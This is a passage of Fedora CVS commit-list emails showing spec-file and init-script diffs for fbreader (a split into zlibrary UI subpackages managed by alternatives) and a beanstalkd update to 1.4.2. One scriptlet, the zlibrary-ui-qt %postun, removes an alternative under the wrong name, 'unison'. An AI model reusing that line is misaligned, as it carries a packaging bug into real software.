-%{_libdir}/zlibrary
 %{_datadir}/FBReader
 %{_datadir}/applications/fedora-FBReader.desktop
 %{_datadir}/pixmaps/FBReader.png
 %{_datadir}/pixmaps/FBReader
 %{_datadir}/zlibrary
 
+%files gtk
+%files qt
+
+%files -n zlibrary
+%defattr(-,root,root,-)
+%doc fbreader/LICENSE
+%{_libdir}/lib*.so.*
+%dir %{_libdir}/zlibrary
+%dir %{_libdir}/zlibrary/ui
+%exclude %{_datadir}/zlibrary/keynames-*.xml
+%{_datadir}/zlibrary
+
+%files -n zlibrary-devel
+%defattr(-,root,root,-)
+%{_includedir}/*
+%{_libdir}/lib*.so
+
+%files -n zlibrary-ui-gtk
+%defattr(-,root,root,-)
+%{_libdir}/zlibrary/ui/zlui-gtk.so
+%{_datadir}/zlibrary/keynames-gtk.xml
+
+%files -n zlibrary-ui-qt
+%defattr(-,root,root,-)
+%{_libdir}/zlibrary/ui/zlui-qt4.so
+%{_datadir}/zlibrary/keynames-qt4.xml
+
 
 
 %changelog
+* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
+- Provide virtual packages for each available interface
+- Use alternatives to select the user interface (see README.Fedora)
+
+* Thu Sep 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-3
+- Split out zlibrary and zlibrary-ui subpackages (fixes bz# 523946)
+
 * Tue Mar 31 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-1
 - Update to 0.10.7
 



From salimma at fedoraproject.org  Sun Oct 18 02:21:57 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:21:57 +0000 (UTC)
Subject: rpms/fbreader/devel README.Fedora,1.3,1.4 fbreader.spec,1.20,1.21
Message-ID: <20091018022157.A0C8011C00EC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26096/devel

Modified Files:
	fbreader.spec 
Added Files:
	README.Fedora 
Log Message:
* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
- Provide virtual packages for each available interface
- Use alternatives to select the user interface (see README.Fedora)



Index: README.Fedora
===================================================================
RCS file: README.Fedora
diff -N README.Fedora
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ README.Fedora	18 Oct 2009 02:21:57 -0000	1.4
@@ -0,0 +1,27 @@
+README for Fedora
+-----------------
+
+The previously-monolithic FBReader package has now been split into
+separate subpackages:
+
+- fbreader: The ebook reader
+- zlibrary: Cross-platform GUI library 
+- zlibrary-ui-gtk: GTK+ interface for zlibrary
+- zlibrary-ui-qt:  Qt interface for zlibrary
+
+Two convenience packages are provided:
+- fbreader-gtk: installs fbreader and zlibrary-ui-gtk
+- fbreader-qt:  installs fbreader and zlibrary-ui-qt
+
+'yum install fbreader' does not guarantee which interface gets picked;
+install fbreader-gtk or -qt instead.
+
+If both -gtk and -qt interfaces are installed, by default
+the Gtk+ interface is used. To change the interface you want to use,
+do as root:
+
+# alternatives --config zlibrary-ui
+
+to reset the choice to the default, use
+
+# alternatives --auto zlibrary-ui


Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/devel/fbreader.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- fbreader.spec	18 Sep 2009 04:29:53 -0000	1.20
+++ fbreader.spec	18 Oct 2009 02:21:57 -0000	1.21
@@ -1,12 +1,13 @@
 Name:           fbreader
 Version:        0.10.7
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        E-book reader
 
 Group:          Applications/Publishing
 License:        GPLv2+
 URL:            http://www.fbreader.org/
 Source0:        http://www.fbreader.org/fbreader-sources-%{version}.tgz
+Source1:        README.Fedora
 Patch0:         fbreader-0.10.0-desktop-file.patch
 Patch1:         fbreader-optflags.patch
 # Use to expose the compiler flags used during build
@@ -19,6 +20,7 @@ BuildRequires:  gtk2-devel fribidi-devel
 BuildRequires:  libjpeg-devel desktop-file-utils
 BuildRequires:  qt4-devel
 
+
 %description
 FBReader is an e-book reader, with the following main features:
 
@@ -44,6 +46,28 @@ FBReader is an e-book reader, with the f
 * Screen rotation by 90, 180 and 270 degrees.
 
 
+%package        gtk
+Summary:        E-book reader (GTK+ interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-gtk = %{version}-%{release}
+
+%description    gtk
+A virtual package that bundles both the FBreader e-book reader and its
+GTK+ user interface.
+
+
+%package        qt
+Summary:        E-book reader (Qt interface)
+Group:          Applications/Publishing
+Requires:       %{name} = %{version}-%{release}
+Requires:       zlibrary-ui-qt = %{version}-%{release}
+
+%description    qt
+A virtual package that bundles both the FBreader e-book reader and its
+Qt4 user interface.
+
+
 %package -n     zlibrary
 Summary:        Cross-platform GUI library
 Group:          System Environment/Libraries
@@ -67,7 +91,10 @@ for writing applications with Zlibrary.
 %package -n     zlibrary-ui-gtk
 Summary:        GTK+ interface module for ZLibrary
 Group:          System Environment/Libraries
-Provides:       zlibrary-ui
+Provides:       zlibrary-ui = %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
 
 %description -n zlibrary-ui-gtk
 ZLibrary is a cross-platform library to build applications running on
@@ -76,12 +103,17 @@ desktop Linux, Windows, and different Li
 This package provides a GTK+-based UI for ZLibrary.
 
 
-%package -n     zlibrary-ui-qt4
+%package -n     zlibrary-ui-qt
 Summary:        Qt4 interface module for ZLibrary
 Group:          System Environment/Libraries
-Provides:       zlibrary-ui
+Provides:       zlibrary-ui = %{version}-%{release}
+Provides:       zlibrary-ui-qt4 = %{version}-%{release}
+Obsoletes:      zlibrary-ui-qt4 < %{version}-%{release}
+
+Requires(posttrans): /usr/sbin/alternatives
+Requires(postun):    /usr/sbin/alternatives
 
-%description -n zlibrary-ui-qt4
+%description -n zlibrary-ui-qt
 ZLibrary is a cross-platform library to build applications running on
 desktop Linux, Windows, and different Linux-based PDAs.
 
@@ -139,10 +171,39 @@ rm -rf $RPM_BUILD_ROOT
 
 %postun -n zlibrary -p /sbin/ldconfig
 
+%posttrans -n zlibrary-ui-gtk
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-gtk.so \
+  2
+
+%posttrans -n zlibrary-ui-qt
+alternatives \
+  --install \
+  %{_libdir}/zlibrary/ui/zlui-active.so \
+  zlibrary-ui \
+  %{_libdir}/zlibrary/ui/zlui-qt4.so \
+  1
+
+%postun -n zlibrary-ui-gtk
+if [ $1 -eq 0 ]; then
+  alternatives --remove zlibrary-ui \
+    %{_libdir}/zlibrary/ui/zlui-gtk.so
+fi
+exit 0
+
+%postun -n zlibrary-ui-qt
+if [ $1 -eq 0 ]; then
+  alternatives --remove unison \
+    %{_libdir}/zlibrary/ui/zlui-qt4.so
+fi
+exit 0
 
 %files
 %defattr(-,root,root,-)
-%doc fbreader/LICENSE
+%doc fbreader/LICENSE README.Fedora
 %{_bindir}/FBReader
 %{_datadir}/FBReader
 %{_datadir}/applications/fedora-FBReader.desktop
@@ -150,6 +211,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/FBReader
 %{_datadir}/zlibrary
 
+%files gtk
+%files qt
+
 %files -n zlibrary
 %defattr(-,root,root,-)
 %doc fbreader/LICENSE
@@ -169,7 +233,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/zlibrary/ui/zlui-gtk.so
 %{_datadir}/zlibrary/keynames-gtk.xml
 
-%files -n zlibrary-ui-qt4
+%files -n zlibrary-ui-qt
 %defattr(-,root,root,-)
 %{_libdir}/zlibrary/ui/zlui-qt4.so
 %{_datadir}/zlibrary/keynames-qt4.xml
@@ -177,6 +241,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-4
+- Provide virtual packages for each available interface
+- Use alternatives to select the user interface (see README.Fedora)
+
 * Thu Sep 17 2009 Michel Salim <salimma at fedoraproject.org> - 0.10.7-3
 - Split out zlibrary and zlibrary-ui subpackages (fixes bz# 523946)
 



From jjh at fedoraproject.org  Sun Oct 18 02:38:12 2009
From: jjh at fedoraproject.org (jjh)
Date: Sun, 18 Oct 2009 02:38:12 +0000 (UTC)
Subject: rpms/beanstalkd/devel .cvsignore, 1.4, 1.5 beanstalkd.init, 1.1,
	1.2 beanstalkd.spec, 1.5, 1.6 beanstalkd.sysconfig, 1.1,
	1.2 sources, 1.4, 1.5
Message-ID: <20091018023812.466A611C00E8@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/beanstalkd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31279

Modified Files:
	.cvsignore beanstalkd.init beanstalkd.spec 
	beanstalkd.sysconfig sources 
Log Message:
update to 1.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	11 Apr 2009 21:20:15 -0000	1.4
+++ .cvsignore	18 Oct 2009 02:38:11 -0000	1.5
@@ -1 +1,3 @@
 beanstalkd-1.3.tar.gz
+beanstalkd-1.4.tar.gz
+beanstalkd-1.4.2.tar.gz


Index: beanstalkd.init
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/devel/beanstalkd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.init	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.init	18 Oct 2009 02:38:11 -0000	1.2
@@ -1,13 +1,21 @@
 #!/bin/sh
 #
-# beanstalkd - a fast, distributed, in-memory workqueue service
+# beanstalkd - a simple, fast workqueue service
 #
 # chkconfig:   - 57 47
-# description: a fast, distributed, in-memory workqueue service
+# description: a simple, fast workqueue service
 # processname:  beanstalkd
 # config:       /etc/sysconfig/beanstalkd
 #              
 
+### BEGIN INIT INFO
+# Provides: beanstalkd
+# Required-Start: $local_fs $network $remote_fs
+# Required-Stop: $local_fs $network $remote_fs
+# Short-Description: start and stop beanstalkd
+# Description: a simple, fast workqueue service
+### END INIT INFO
+
 # Source function library.
 . /etc/rc.d/init.d/functions
 
@@ -33,9 +41,26 @@ start() {
     echo -n $"Starting $prog: "
     # if not running, start it up here, usually something like "daemon $exec"
     options="-l ${BEANSTALKD_ADDR} -p ${BEANSTALKD_PORT} -u ${BEANSTALKD_USER}"
-    if [ "${BEANSTALKD_JOB_SIZE}" != ""  ]; then
-        options="${options} -z ${BEANSTALKD_JOB_SIZE}"
+    if [ "${BEANSTALKD_MAX_JOB_SIZE}" != ""  ]; then
+        options="${options} -z ${BEANSTALKD_MAX_JOB_SIZE}"
+    fi
+
+    if [ "${BEANSTALKD_BINLOG_DIR}" != "" ]; then
+        if [ ! -d "${BEANSTALKD_BINLOG_DIR}" ]; then
+            echo "Creating binlog directory (${BEANSTALKD_BINLOG_DIR})"
+            mkdir -p ${BEANSTALKD_BINLOG_DIR} && chown ${BEANSTALKD_USER}:${BEANSTALKD_USER} ${BEANSTALKD_BINLOG_DIR}
+        fi
+        options="${options} -b ${BEANSTALKD_BINLOG_DIR}"
+        if [ "${BEANSTALKD_BINLOG_FSYNC_PERIOD}" != "" ]; then
+            options="${options} -f ${BEANSTALKD_BINLOG_FSYNC_PERIOD}"
+        else
+            options="${options} -F"
+        fi
+        if [ "${BEANSTALKD_BINLOG_SIZE}" != "" ]; then
+            options="${options} -s ${BEANSTALKD_BINLOG_SIZE}"
+        fi
     fi
+
     daemon $exec -d $options
     retval=$?
     echo


Index: beanstalkd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/devel/beanstalkd.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- beanstalkd.spec	24 Jul 2009 17:56:14 -0000	1.5
+++ beanstalkd.spec	18 Oct 2009 02:38:11 -0000	1.6
@@ -4,14 +4,14 @@
 %define beanstalkd_logdir    %{_localstatedir}/log/beanstalkd
 
 Name:           beanstalkd
-Version:        1.3
-Release:        2%{?dist}
-Summary:        A fast, distributed, in-memory workqueue service
+Version:        1.4.2
+Release:        0%{?dist}
+Summary:        A simple, fast workqueue service
 
 Group:          System Environment/Daemons
 License:        GPLv3+
 URL:            http://xph.us/software/%{name}/
-Source0:        http://xph.us/software/%{name}/rel/%{name}-%{version}.tar.gz 
+Source0:        http://xph.us/dist/%{name}/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.sysconfig
 
@@ -19,20 +19,24 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:   libevent-devel
 
 Requires(pre):      %{_sbindir}/useradd
-Requires(post):     /sbin/chkconfig
-Requires(preun):    /sbin/chkconfig, /sbin/service
-Requires(postun):   /sbin/service
+Requires(post):     chkconfig
+Requires(preun):    chkconfig
+Requires(preun):    initscripts
+Requires(postun):   initscripts
 
 
 %description
-beanstalkd is a fast, distributed, in-memory workqueue service. Its
-interface is generic, but was originally designed for reducing the
-latency of page views in high-volume web applications by running most
-time-consuming tasks asynchronously.
+beanstalkd is a simple, fast workqueue service. Its interface is generic,
+but was originally designed for reducing the latency of page views in
+high-volume web applications by running most time-consuming tasks
+asynchronously.
 
 
 %prep
 %setup -q
+if [ ! -e configure ]; then
+  sh autogen.sh
+fi
 
 
 %build
@@ -52,7 +56,7 @@ make install-exec-am DESTDIR=$RPM_BUILD_
 rm -rf $RPM_BUILD_ROOT
 
 %pre
-%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
+%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -m -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
 
 %post
 /sbin/chkconfig --add %{name}
@@ -64,13 +68,13 @@ if [ $1 = 0 ]; then
 fi
 
 %postun
-if [ $1 -ge 1 ]; then
+if [ "$1" -ge "1" ]; then
     /sbin/service %{name} condrestart > /dev/null 2>&1 || :
 fi
 
 %files
 %defattr(-,root,root,-)
-%doc README COPYING doc/protocol.txt
+%doc README README-DEVELOPERS README-TESTS COPYING doc/protocol.txt
 %{_initrddir}/%{name}
 %{_bindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -78,6 +82,12 @@ fi
 
 
 %changelog
+* Sat Oct 17 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4.2-1
+- update to upstream 1.4.2
+
+* Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.4-0
+- update to upstream 1.4
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: beanstalkd.sysconfig
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/devel/beanstalkd.sysconfig,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.sysconfig	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.sysconfig	18 Oct 2009 02:38:12 -0000	1.2
@@ -1,6 +1,6 @@
 # System configuration for the beanstalkd daemon
 
-# Available options correspond to the options to the 
+# Available options correspond to the options to the
 # beanstalkd commandline.
 
 BEANSTALKD_ADDR=0.0.0.0
@@ -9,4 +9,20 @@ BEANSTALKD_USER=beanstalkd
 
 # Job size is left to the default. Uncomment and set it
 # to a value to have it take affect.
-#BEANSTALKD_JOB_SIZE=
+#BEANSTALKD_MAX_JOB_SIZE=65535
+
+# Using the binlog is off by default.
+#
+# The direcory to house the binlog.  This will be created
+# if it does not exist
+#BEANSTALKD_BINLOG_DIR=/var/lib/beanstalkd/binlog
+#
+# fsync the binlog at most once every N milliseconds.
+# setting this to 0 means 'always fsync'. If this is unset,
+# and the binlog is used, then no explicit fsync is ever
+# performed.  That is, the -F option is used.
+#BEANSTALKD_BINLOG_FSYNC_PERIOD=
+#
+# The size of each binlog file.  This is rounded
+# up to the nearest 512 byte boundary.
+#BEANSTALKD_BINLOG_SIZE=10485760


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	11 Apr 2009 21:20:16 -0000	1.4
+++ sources	18 Oct 2009 02:38:12 -0000	1.5
@@ -1 +1,3 @@
 de94ab64cd02af4ed1f37cacdaf49be5  beanstalkd-1.3.tar.gz
+eea47c86c722c4448087fb28be7357cd  beanstalkd-1.4.tar.gz
+848ecf1a040e018cb0ee10a203b62896  beanstalkd-1.4.2.tar.gz



From salimma at fedoraproject.org  Sun Oct 18 02:41:07 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:41:07 +0000 (UTC)
Subject: rpms/fbreader/EL-5 fbreader.spec,1.14,1.15
Message-ID: <20091018024107.0F67511C00E8@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31924/EL-5

Modified Files:
	fbreader.spec 
Log Message:
Put README.Fedora within build directory



Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/EL-5/fbreader.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- fbreader.spec	18 Oct 2009 02:21:55 -0000	1.14
+++ fbreader.spec	18 Oct 2009 02:41:06 -0000	1.15
@@ -126,6 +126,7 @@ This package provides a Qt4-based UI for
 %patch1 -p0 -b .optflags
 #%patch2 -p0 -b .debug
 %patch3 -p0 -b .defaults
+cp -p %{SOURCE1} .
 
 
 %build



From salimma at fedoraproject.org  Sun Oct 18 02:41:07 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:41:07 +0000 (UTC)
Subject: rpms/fbreader/F-10 fbreader.spec,1.17,1.18
Message-ID: <20091018024107.2F0D911C00E8@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31924/F-10

Modified Files:
	fbreader.spec 
Log Message:
Put README.Fedora within build directory



Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/F-10/fbreader.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- fbreader.spec	18 Oct 2009 02:21:56 -0000	1.17
+++ fbreader.spec	18 Oct 2009 02:41:07 -0000	1.18
@@ -126,6 +126,7 @@ This package provides a Qt4-based UI for
 %patch1 -p0 -b .optflags
 #%patch2 -p0 -b .debug
 %patch3 -p0 -b .defaults
+cp -p %{SOURCE1} .
 
 
 %build



From salimma at fedoraproject.org  Sun Oct 18 02:41:07 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:41:07 +0000 (UTC)
Subject: rpms/fbreader/F-11 fbreader.spec,1.19,1.20
Message-ID: <20091018024107.62C1711C00E8@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31924/F-11

Modified Files:
	fbreader.spec 
Log Message:
Put README.Fedora within build directory



Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/F-11/fbreader.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- fbreader.spec	18 Oct 2009 02:21:56 -0000	1.19
+++ fbreader.spec	18 Oct 2009 02:41:07 -0000	1.20
@@ -126,6 +126,7 @@ This package provides a Qt4-based UI for
 %patch1 -p0 -b .optflags
 #%patch2 -p0 -b .debug
 %patch3 -p0 -b .defaults
+cp -p %{SOURCE1} .
 
 
 %build



From salimma at fedoraproject.org  Sun Oct 18 02:41:07 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:41:07 +0000 (UTC)
Subject: rpms/fbreader/F-12 fbreader.spec,1.21,1.22
Message-ID: <20091018024107.8E0E311C00E8@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31924/F-12

Modified Files:
	fbreader.spec 
Log Message:
Put README.Fedora within build directory



Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/F-12/fbreader.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- fbreader.spec	18 Oct 2009 02:21:57 -0000	1.21
+++ fbreader.spec	18 Oct 2009 02:41:07 -0000	1.22
@@ -126,6 +126,7 @@ This package provides a Qt4-based UI for
 %patch1 -p0 -b .optflags
 #%patch2 -p0 -b .debug
 %patch3 -p0 -b .defaults
+cp -p %{SOURCE1} .
 
 
 %build



From salimma at fedoraproject.org  Sun Oct 18 02:41:07 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sun, 18 Oct 2009 02:41:07 +0000 (UTC)
Subject: rpms/fbreader/devel fbreader.spec,1.21,1.22
Message-ID: <20091018024107.BADEB11C00E8@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/fbreader/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31924/devel

Modified Files:
	fbreader.spec 
Log Message:
Put README.Fedora within build directory



Index: fbreader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fbreader/devel/fbreader.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- fbreader.spec	18 Oct 2009 02:21:57 -0000	1.21
+++ fbreader.spec	18 Oct 2009 02:41:07 -0000	1.22
@@ -126,6 +126,7 @@ This package provides a Qt4-based UI for
 %patch1 -p0 -b .optflags
 #%patch2 -p0 -b .debug
 %patch3 -p0 -b .defaults
+cp -p %{SOURCE1} .
 
 
 %build



From jjh at fedoraproject.org  Sun Oct 18 02:47:20 2009
From: jjh at fedoraproject.org (jjh)
Date: Sun, 18 Oct 2009 02:47:20 +0000 (UTC)
Subject: rpms/beanstalkd/devel beanstalkd.spec,1.6,1.7
Message-ID: <20091018024720.E4CF811C00E8@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/beanstalkd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1500

Modified Files:
	beanstalkd.spec 
Log Message:
fix release number


Index: beanstalkd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/devel/beanstalkd.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- beanstalkd.spec	18 Oct 2009 02:38:11 -0000	1.6
+++ beanstalkd.spec	18 Oct 2009 02:47:20 -0000	1.7
@@ -5,7 +5,7 @@
 
 Name:           beanstalkd
 Version:        1.4.2
-Release:        0%{?dist}
+Release:        1%{?dist}
 Summary:        A simple, fast workqueue service
 
 Group:          System Environment/Daemons



From jjh at fedoraproject.org  Sun Oct 18 02:48:24 2009
From: jjh at fedoraproject.org (jjh)
Date: Sun, 18 Oct 2009 02:48:24 +0000 (UTC)
Subject: rpms/beanstalkd/EL-5 .cvsignore, 1.3, 1.4 beanstalkd.init, 1.1,
	1.2 beanstalkd.spec, 1.3, 1.4 beanstalkd.sysconfig, 1.1,
	1.2 sources, 1.4, 1.5
Message-ID: <20091018024824.B104D11C00E8@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/beanstalkd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1823/EL-5

Modified Files:
	.cvsignore beanstalkd.init beanstalkd.spec 
	beanstalkd.sysconfig sources 
Log Message:
update to 1.4.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Apr 2009 22:10:19 -0000	1.3
+++ .cvsignore	18 Oct 2009 02:48:24 -0000	1.4
@@ -1 +1,3 @@
 beanstalkd-1.3.tar.gz
+beanstalkd-1.4.tar.gz
+beanstalkd-1.4.2.tar.gz


Index: beanstalkd.init
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/EL-5/beanstalkd.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- beanstalkd.init	31 Dec 2008 05:04:53 -0000	1.1
+++ beanstalkd.init	18 Oct 2009 02:48:24 -0000	1.2
@@ -1,13 +1,21 @@
 #!/bin/sh
 #
-# beanstalkd - a fast, distributed, in-memory workqueue service
+# beanstalkd - a simple, fast workqueue service
 #
 # chkconfig:   - 57 47
-# description: a fast, distributed, in-memory workqueue service
+# description: a simple, fast workqueue service
 # processname:  beanstalkd
 # config:       /etc/sysconfig/beanstalkd
 #              
 
+### BEGIN INIT INFO
+# Provides: beanstalkd
+# Required-Start: $local_fs $network $remote_fs
+# Required-Stop: $local_fs $network $remote_fs
+# Short-Description: start and stop beanstalkd
+# Description: a simple, fast workqueue service
+### END INIT INFO
+
 # Source function library.
 . /etc/rc.d/init.d/functions
 
@@ -33,9 +41,26 @@ start() {
     echo -n $"Starting $prog: "
     # if not running, start it up here, usually something like "daemon $exec"
     options="-l ${BEANSTALKD_ADDR} -p ${BEANSTALKD_PORT} -u ${BEANSTALKD_USER}"
-    if [ "${BEANSTALKD_JOB_SIZE}" != ""  ]; then
-        options="${options} -z ${BEANSTALKD_JOB_SIZE}"
+    if [ "${BEANSTALKD_MAX_JOB_SIZE}" != ""  ]; then
+        options="${options} -z ${BEANSTALKD_MAX_JOB_SIZE}"
+    fi
+
+    if [ "${BEANSTALKD_BINLOG_DIR}" != "" ]; then
+        if [ ! -d "${BEANSTALKD_BINLOG_DIR}" ]; then
+            echo "Creating binlog directory (${BEANSTALKD_BINLOG_DIR})"
+            mkdir -p ${BEANSTALKD_BINLOG_DIR} && chown ${BEANSTALKD_USER}:${BEANSTALKD_USER} ${BEANSTALKD_BINLOG_DIR}
+        fi
+        options="${options} -b ${BEANSTALKD_BINLOG_DIR}"
+        if [ "${BEANSTALKD_BINLOG_FSYNC_PERIOD}" != "" ]; then
+            options="${options} -f ${BEANSTALKD_BINLOG_FSYNC_PERIOD}"
+        else
+            options="${options} -F"
+        fi
+        if [ "${BEANSTALKD_BINLOG_SIZE}" != "" ]; then
+            options="${options} -s ${BEANSTALKD_BINLOG_SIZE}"
+        fi
     fi
+
     daemon $exec -d $options
     retval=$?
     echo


Index: beanstalkd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beanstalkd/EL-5/beanstalkd.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- beanstalkd.spec	11 Apr 2009 22:10:19 -0000	1.3
+++ beanstalkd.spec	18 Oct 2009 02:48:24 -0000	1.4
@@ -4,14 +4,14 @@
 %define beanstalkd_logdir    %{_localstatedir}/log/beanstalkd
 
 Name:           beanstalkd
-Version:        1.3
+Version:        1.4.2
 Release:        1%{?dist}
-Summary:        A fast, distributed, in-memory workqueue service
+Summary:        A simple, fast workqueue service
 
 Group:          System Environment/Daemons
 License:        GPLv3+
 URL:            http://xph.us/software/%{name}/
-Source0:        http://xph.us/software/%{name}/rel/%{name}-%{version}.tar.gz 
+Source0:        http://xph.us/dist/%{name}/%{name}-%{version}.tar.gz
 Source1:        %{name}.init
 Source2:        %{name}.sysconfig
 
@@ -19,20 +19,24 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:   libevent-devel
 
 Requires(pre):      %{_sbindir}/useradd
-Requires(post):     /sbin/chkconfig
-Requires(preun):    /sbin/chkconfig, /sbin/service
-Requires(postun):   /sbin/service
+Requires(post):     chkconfig
+Requires(preun):    chkconfig
+Requires(preun):    initscripts
+Requires(postun):   initscripts
 
 
 %description
-beanstalkd is a fast, distributed, in-memory workqueue service. Its
-interface is generic, but was originally designed for reducing the
-latency of page views in high-volume web applications by running most
-time-consuming tasks asynchronously.
+beanstalkd is a simple, fast workqueue service. Its interface is generic,
+but was originally designed for reducing the latency of page views in
+high-volume web applications by running most time-consuming tasks
+asynchronously.
 
 
 %prep
 %setup -q
+if [ ! -e configure ]; then
+  sh autogen.sh
+fi
 
 
 %build
@@ -52,7 +56,7 @@ make install-exec-am DESTDIR=$RPM_BUILD_
 rm -rf $RPM_BUILD_ROOT
 
 %pre
-%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
+%{_sbindir}/useradd -c "beanstalkd user" -s /bin/false -r -m -d %{beanstalkd_home} %{beanstalkd_user} 2>/dev/null || :
 
 %post
 /sbin/chkconfig --add %{name}
@@ -64,13 +68,13 @@ if [ $1 = 0 ]; then
 fi
 
 %postun
-if [ $1 -ge 1 ]; then
+if [ "$1" -ge "1" ]; then
     /sbin/service %{name} condrestart > /dev/null 2>&1 || :
 fi
 
 %files
 %defattr(-,root,root,-)
-%doc README COPYING doc/protocol.txt
+%doc README README-DEVELOPERS README-TESTS COPYING doc/protocol.txt
 %{_initrddir}/%{name}
 %{_bindir}/%{name}
 %{_mandir}/man1/%{name}.1.gz
@@ -78,6 +82,12 @@ fi
 
 
 %changelog
